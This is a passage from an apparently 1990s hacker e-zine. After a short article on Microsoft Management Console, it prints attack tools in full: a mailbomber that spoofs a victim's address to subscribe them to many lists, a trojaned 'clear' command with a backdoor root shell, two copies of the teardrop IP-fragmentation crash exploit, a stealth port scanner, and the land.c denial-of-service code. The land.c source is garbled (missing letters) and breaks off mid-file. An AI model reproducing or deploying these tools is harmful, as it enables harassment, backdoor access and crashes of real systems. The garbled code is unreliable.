The console view is not limited to one Snap-In, so you can display many Snap-Ins covering many different management task all at once. A Snap-In also can display information provided by another Snap-In installed on the system. For example, a programmer might write a Snap-In, whose purpose is only to provide data to another Snap-In, which processes and displays that data. Saving Tools ------------ MMC lets you save console configurations as .MSC files (Management Saved Console). The .MSC file doesn't contain the Snap-Ins, it is just and OLE file containing such information as which Snap-Ins to load and what state to open them in. This lets you (or your applications) create a particular configuration of Snap-Ins and save it - a time saver because you can collect all the Snap-Ins necessary in one configuration file. When you launch an .MSC file, MMC loads with appropriate Snap-Ins. For example, you can create a tool that includes IIS's management pieces only for running and maintaining a network's FTP servers. The console could view, or focus on the FTP service, while the saved tool might also include a Performance Monitor Snap-In that focuses on FTP statistics. You can then distribute this tool to other people who will maintain the FTP servers. When they launch the tool, only the tools needed to perform that task will load into MMC. Anyone who wants to use this tool, must have the appropriate Snap-Ins - as well as MMC - installed locally. But, with NT 5.0's Active Directory Services and its applications-locations independance, you will be able to distribute an .MSC file to anyone, and they will be able to use it whether or not all the Snap-Ins it involves are installed on their machine. You can distribute a tool with out Active Directory Services, but all users of the configured console would have to have the appropriate tools, MMC, and all of the Snap-Ins needed, installed on their machine. Who Will Use MMC? ----------------- NT 5.0 Users will not be able to avoid MMC. All of the tools used to maintain and configure NT (including those in the Administrative Tools folder) will be MMC Snap-Ins. While some people may say that MMC is merely another Microsoft plot to dominate the market (this point does have some validity), but over all, this is not the case. MMC is merely an API, that other companies do not have to use, but they most likely will, since MMC tools will all have the same look and feel, thus making it easy for users to use. The MMC plot also entices programmers to keep writing tools for NT and Win32, rather than moving on to plalform-independant Java applications. As soon as NT 5.0 ships, Microsoft has over 500 Snap-Ins ready to go, but many programmers and companies are not ready yet, so we will have to wait and see what will happen to MMC. Thanks ------ Thanks go out to several people, who helped make this article possible: Thanks to brianb_ for letting me use this IIS 4 equiped box, and for (hopefully) letting me us his box once NT 5.0 is on there. Thanks to brianb_'s work for giving him all of the newest, latest & greatest from Microsoft for him to use. Keep up the great work! Thanks to Scud-O for publishing this article. Stay tuned for more information from me when NT 5.0 is released. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The Code: [01] bomber.c by memor : Mailbomber using mailing lists. [02] cleart.c by memor : clear trojan. [03] ip_frag.c by simon : IP fragmentation bug [04] thejackal.c by Ralph5 : stealth port scanner [05] land.c Information by simon : Information on land.c ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [01] bomber.c by memor /* Some mailbomber using mailing lists tekneek for merk & irc2 warriors@#~ edit your list.txt in the directory where is the bomber and type in with your elite pico : majordomo1@elite.serv.com mailinglists1 sexlist warezlist majordomo2@another.elite.serv.com mailinglists8 sexlist4 warezlist2 to run it.. without verbose mode: bomber mailhost.where.u.send.mail.net victim@lamer.org to run it.. with verbose mode: bomber mailhost.where.u.send.mail.net victim@lamer.org -v have fun.. tested on linux.. improve it as you want, free thing.. memz */ #include #include #include #include #include #include #include #include #define MAXCHAR 255 char sendq[MAXCHAR]; FILE *soc; int sock, verbs; struct sockaddr_in ip; struct hostent *hos; char ch; void sendit(); void receiv(); void main(int argc,char *argv[]) { FILE *in; char string[MAXCHAR]; char email[MAXCHAR]; char victim[MAXCHAR]; char listname[MAXCHAR]; char mailserver[MAXCHAR]; int globalc,a,x,isit,count; if(argc<3) { printf("Bomber 1.0 .. memz .. \n"); printf("Usage: %s [-v]\n",argv[0]); printf("edit your list.txt and put the majordomo servers and lists to subscribe\n"); exit(1); } if(argc>3) { if(strcmp("-v",argv[3])==0) verbs=1; } sprintf(mailserver,"%s",argv[1]); sprintf(victim,"%s",argv[2]); if( (in = fopen("list.txt","r")) == NULL ) { printf("Can't open list file\n"); printf("You need a file -list.txt- containing the majordomo emails and\n"); printf("The mailing list you want the victim subscriber..\n"); exit(1); } count = 0; globalc = 0; do { a=fscanf(in,"%s",string); if(a!=EOF) { count++; isit=0; for(x=0;x1) { if(( hos = gethostbyname(mailserver)) == NULL ) { printf("host not found..\n"); exit(1); } bzero((char *)&ip,sizeof(ip)); bcopy(hos->h_addr,(char *)&ip.sin_addr,hos->h_length); ip.sin_family=hos->h_addrtype; ip.sin_port=htons(25); if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { perror("socket"); exit(1); } soc=fdopen(sock, "r"); if(connect(sock,(struct sockaddr *)&ip,sizeof(struct sockaddr)) < 0 ) { perror("connect"); exit(1); } globalc++; receiv(); sprintf(sendq,"HELO BOO.NET\n"); sendit(); receiv(); sprintf(sendq,"MAIL FROM: %s\n",victim); sendit(); receiv(); sprintf(sendq,"RCPT TO: %s\n",email); sendit(); receiv(); sprintf(sendq,"DATA\n"); sendit(); receiv(); sprintf(sendq,"subscribe %s\n",listname); sendit(); sprintf(sendq,".\n"); sendit(); receiv(); if(verbs==1) printf("Victim subscribed to %d Mailing Lists.. \n",globalc); fclose(soc); close(sock); } } }while(a!=EOF); printf("\nFinished..\n"); printf("Victim has been subscribed to %d Mailing Lists.. \n",globalc); } void sendit() { if(verbs==1) printf("%s",sendq); if ( send(sock, sendq, strlen(sendq), 0) < 0 ) { perror("send"); exit(1); } } void receiv() { do { ch=getc(soc); if(verbs==1) printf("%c",ch); } while(ch!=-1 && ch!=13); if(verbs==1) printf("\n"); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [02] cleart.c by memor /* clear trojan by memor.. made this morning cause of an extremly-boring day give root /bin/sh (clear root root) hbs - 97/98 */ #include #include #include #define BACKDOOR "R33+" void main(argc,argv) int argc; char **argv; { if(argc>1) { if(strcmp(BACKDOOR,argv[1])==0) { printf("backdoor..\n"); sprintf(argv[0],"pico "); sprintf(argv[1]," "); system("/bin/sh"); } } printf("\033[2J"); printf("\033[1;1H"); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [03] IP Fragmentation Bug By simon, Disclaimer: I am NOT claiming to have found this hole, I am merely presenting it to people. Some information that I have found may be included, but most of the information is straight out of Bugtraq. This exploit is commonly called teardrop.c, due to route's release of this code on 11/13/97. Patches: - Linux 2.0.32 will include the IP frag patch for this exploit. - Microsoft has a patch that will correct this problem available at : ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ hotfixes-postSP3/simptcp-fix -------------------------- From route's Bugtraq post: -------------------------- As it happens, Linux has a serious bug in it's IP fragmentation module. More specifically, in the fragmentation reassembly code. More specifically, the bug manifests itself in the `ip_glue()` function.... When Linux reassembles IP fragments to form the original IP datagram, it runs in a loop, copying the payload from all the queued fragments into a newly allocated buffer (which would then normally be passed to the IP layer proper). From ip_fragment.c@376: fp = qp->fragments; while(fp != NULL) { if(count+fp->len > skb->len) { error_to_big; } memcpy((ptr + fp->offset), fp->ptr, fp->len); count += fp->len; fp = fp->next; } While it does check to see if the fragment length is too large, which would have the kernel copy too much data, it doesn't check to see if the fragment length is too small, which would have the kernel copy WAY too data (such is the case if fp->len is < 0). To see when this happens, we need to look at how Linux adds IP datagrams to the reassembly queue. From ip_fragment.c@502: /* * Determine the position of this fragment. */ end = offset + ntohs(iph->tot_len) - ihl; Ok. That's nice. Now we have to look at what happens when we have overlaping fragments... From ip_fragment.c@531: /* * We found where to put this one. * Check for overlap with preceding fragment, and, if needed, * align things so that any overlaps are eliminated. */ if (prev != NULL && offset < prev->end) { i = prev->end - offset; offset += i; /* ptr into datagram */ ptr += i; /* ptr into fragment data */ } If we find that the current fragment's offset is inside the end of a previous fragment (overlap), we need to (try) align it correctly. Well, this is fine and good, unless the payload of the current fragment happens to NOT contain enough data to cover the realigning. In that case, `offset` will end up being larger then `end`. These two values are passed to `ip_frag_create()` where the length of the fragment data is computed. From ip_fragment.c@97: /* Fill in the structure. */ fp->offset = offset; fp->end = end; fp->len = end - offset; This results in fp->len being negative and the memcpy() at the top will end up trying to copy entirely too much data, resulting in a reboot or a halt, depending on how much physical memory you've got. We can trigger this normally unlikely event by simply sending 2 specially fragmented IP datagrams. The first is the 0 offset fragment with a payload of size N, with the MF bit on (data content is irrelevant). The second is the last fragment (MF == 0) with a positive offset < N and with a payload of < N. Every linux implementation I have been able to look at seems to have this problem (1.x - 2.x, including the development kernels). Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of these fragment combos to an NT/95 machine. Special thanks to klepto for bringing the problem to my attention and writing the initial exploit. route|daemon9 route@infonexus.com ------[Begin] -- Guby Linux ------------------------------------------------- /* * Copyright (c) 1997 route|daemon9 11.3.97 * * Linux/NT/95 Overlap frag bug exploit * * Exploits the overlapping IP fragment bug present in all Linux kernels and * NT 4.0 / Windows 95 (others?) * * Based off of: flip.c by klepto * Compiles on: Linux, *BSD* * * gcc -O2 teardrop.c -o teardrop * OR * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING */ #include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; fprintf(stderr, "teardrop route|daemon9\n\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } /* EOF */ ------[End] -- Guby Linux ---------------------------------------------------- And the patch: ------[Begin] -- Helu Linux ------------------------------------------------- --- ip_fragment.c Mon Nov 10 14:58:38 1997 +++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997 @@ -12,6 +12,7 @@ * Alan Cox : Split from ip.c , see ip_input.c for history. * Alan Cox : Handling oversized frames * Uriel Maimon : Accounting errors in two fringe cases. + * route : IP fragment overlap bug */ #include @@ -578,6 +579,22 @@ frag_kfree_s(tmp, sizeof(struct ipfrag)); } } + + /* + * Uh-oh. Some one's playing some park shenanigans on us. + * IP fragoverlap-linux-go-b00m bug. + * route 11.3.97 + */ + + if (offset > end) + { + skb->sk = NULL; + printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr)); + kfree_skb(skb, FREE_READ); + ip_statistics.IpReasmFails++; + ip_free(qp); + return NULL; + } /* * Insert this fragment in the chain of fragments. ------[End] -- Helu Linux ---------------------------------------------------- EOF ---------------- End Bugtraq Post ---------------- My own tweeked version of teardrop.c ip_frag.c: Ok, I know this code is barely different from route's, but this is a work in progress. Give me time. /* * Linux/NT/95 Overlap frag bug exploit by simon * * Exploits the overlapping IP fragment bug present in all Linux kernels and * NT 4.0 / Windows 95 * * Based on teardrop.c by route. Thanks to him for bringing this to * everyone's attention. Thanks to klepto for showing it to route. * * Please forgive my poor tweeking of this code. * * Try 'gcc -O2 ip_frag.c -o ip_frag' to compile this */ #include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; fprintf(stderr, "ip_fraq simon, based on route's code.\n\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("Raw Socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death from above:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "kA-b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [04] thejackal.c by Ralph5 /* thejackal.c - stealth/firewall scanner. This does not complete the 3 way TCP/IP handshake, so nothing is written to the victim's log files. Released to celebrate the return of The Jackal, a great movie. Go see it. Ralph5 - [11/13/97] */ #include #include #include #include #include #include #include #include #include #include int timeout = 0; int counter = 0; void usage(char *name) { printf("usage:%s [-h target_ip] [-i your_ip] [-t timeout] [-s start-port] [-e end-port] [-f FIN] [-a ACK]\n",name); exit(-1); } void handler(int whateva) { alarm(0); timeout = 1; } /* Checksum Gen */ unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } /* Generates the tcp header and packet */ struct tcphdr packetgen(int fin,int ack,unsigned int src_addr,unsigned int dst_addr, int port) { /* we create both a tcpheader and a ipheader to calculate checksum */ struct tcphdr packet; struct ipheader { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; counter++; /* Fill the headers with the options and data */ packet.source = getpid() + counter; packet.dest = htons(port); packet.seq = getpid() + counter; packet.ack_seq = 0; packet.res1 = 0; packet.doff = 5; packet.res2 = 0; packet.fin = fin; packet.syn = 1; packet.rst = 0; packet.psh = 0; packet.ack = ack; packet.urg = 0; packet.window = htons(512); packet.check = 0; packet.urg_ptr = 0; /* We need this for the checksum */ pseudo_header.source_address = src_addr; pseudo_header.dest_address = dst_addr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20); bcopy(&packet, &pseudo_header.tcp, 20); /* Get the checksum and viowlla tcphdr is done :) */ packet.check = in_cksum((unsigned short *)&pseudo_header, 32); return packet; } int scan(struct tcphdr packet,int port,unsigned int dst_addr) { struct sockaddr_in remote; int len; /* The header we'll receive the info in */ struct rect { struct iphdr ip; struct tcphdr tcp; unsigned char blah[65535]; } recv_tcp; int sockd; /* Now we fill the sock struct */ remote.sin_family = AF_INET; remote.sin_port = htons(port); remote.sin_addr.s_addr = dst_addr; len=sizeof(remote); signal(SIGALRM, handler); sockd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sockd < 0) { perror("Socket"); exit(1); } /* Blast the packet into ablivion! */ sendto(sockd, &packet, 20, 0, (struct sockaddr *)&remote, len); timeout = 0; alarm(10); while(1) { /* Now we sit and read */ read(sockd, (struct recv_tcp *)&recv_tcp, 65535); if(timeout == 1) { close(sockd); timeout=0; return -1; } if(recv_tcp.tcp.dest == (getpid() + counter)) { alarm(0); close(sockd); /* It shouldnt be 1 */ if(recv_tcp.tcp.rst == 1) return 0; else return 1; } } } main(int argc, char **argv) { int c; int start = 0; int end = 0; int fin = 0; int ack = 0; int port = 0; int retval; struct tcphdr packet; int host = 0; int target = 0; char source[100]; char destination[100]; if(getuid() != 0) { printf("Need root to run this I'm afraid .\n"); exit(-2); } if(argc < 2) usage(argv[0]); while ((c = getopt (argc, argv, "s:e:h:i:af")) != EOF) { switch (c) { case 's': start = atoi(optarg); break; case 'e': end = atoi(optarg); break; case 'a': ack = 1; break; case 'f': fin = 1; break; case 'h': strcpy(destination,optarg); target = 1; break; case 'i': strcpy(source,optarg); host = 1; break; case 't': timeout = atoi(optarg); break; default: usage(argv[0]); } } if((host == 0) || (target == 0)) usage(argv[0]); if(start == 0) port = start; if(end == 0) end = 1024; for(;port < (end + 1);port++) { packet = packetgen(fin,ack,inet_addr(source),inet_addr(destination),port); if( (retval = scan(packet,port,inet_addr(source))) == 1) printf("Port:%i is open.\n",port); } exit(0); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [05] land.c Information By simon, Disclaimer: I am NOT claiming to have found this hole, I am merely presenting it to people. Some information that I have found may be included, but most of the information is straight out of Bugtraq. Briefly: It works by sending a spoofed packer with the SYN flag set from a host, on an open port such as 21,23,80,113,139...), setting as source the sane host and port (ie: 10.0.0.1:139 to 10.0.0.1:139). This will cause the operating system to lock up. So far this bug has been tested on serveral platforms. Known vulnerable platforms: AIX 3 IS vulnerable BSDI 2.1 (vanilla) IS vulnerable FreeBSD 2.2.2-RELEASE (confilcting reports) FreeBSD 2.2.5-RELEASE (conflicting reports) FreeBSD 2.2.5-STABLE (conflicting reports) FreeBSD 3.0-CURRENT IS vulnerable HP-UX 10.20 IS vulnerable IRIX 5.3 IS vulnerable NetApp NFS server 4.3 IS vulnerable NetBSD 1.1 IS vulnerable NetBSD 1.2 IS vulnerable NetBSD 1.2a IS vulnerable NetBSD 1.2.1 IS vulnerable NetBSD 1.3_ALPHA IS vulnerable NeXTSTEP 3.0 IS vulnerable NeXTSTEp 3.1 IS vulnerable OpenBSD 2.1 (conflicting reports) QNX 4.24 IS vulnerable SunOS 4.1.4 IS vulnerable Windows 95 (vanilla) IS vulnerable Windows 95 + Winsock 2 + VIPUPD.EXE IS vulnerable Windows NT (vanilla) IS vulnerable Windows NT + SP3 IS vulnerable Windows NT + SP3 + simptcp-fix IS vulnerable Fixes: On FreeBSD you can set up a temporary fix by installing firewall options and and denying all requests from the system itself on the same ports. land_linux.c: This is the first version of land.c, for linux boxes that was coded by m3lt. /* land.c by m3lt, FLC */ #include #include #include #include #include #include #include #include #include struct pseudohdr { struct in_ddr sddr; struct in_ddr dddr; u_chr zero; u_chr protocol; u_short length; struct tcphdr tcpheder; }; u_short checksum(u_short * dt,u_short length) { register long vlue; u_short i; for(i=0;i<(length>>1);i++) vlue+=dt[i]; if((length&1)==1) vlue+=(dt[i]<<8); vlue=(vlue&65535)+(vlue>>16); return(~vlue); } int min(int rgc,chr * * rgv) { struct sockddr_in sin; struct hostent * hoste; int sock; chr buffer[40]; struct iphdr * ipheder=(struct iphdr *) buffer; struct tcphdr * tcpheder=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheder; fprintf(stderr,"lnd.c by m3lt, FLC\n"); if(rgc<3) { fprintf(stderr,"usge: %s IP port\n",rgv[0]); return(-1); } bzero(&sin,sizeof(struct sockddr_in)); sin.sin_fmily=F_INET; if((hoste=gethostbynme(rgv[1]))!=NULL) bcopy(hoste->h_ddr,&sin.sin_ddr,hoste->h_length); else if((sin.sin_ddr.s_ddr=inet_ddr(rgv[1]))==-1) { fprintf(stderr,"unknown host %s\n",rgv[1]); return(-1); } if((sin.sin_port=htons(toi(rgv[2])))==0) { fprintf(stderr,"unknown port %s\n",rgv[2]); return(-1); } if((sock=socket(F_INET,SOCK_RW,255))==-1) { fprintf(stderr,"couldn't llocte rw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheder->version=4; ipheder->ihl=sizeof(struct iphdr)/4; ipheder->tot_len=htons(sizeof(struct iphdr)+sizeof(struct 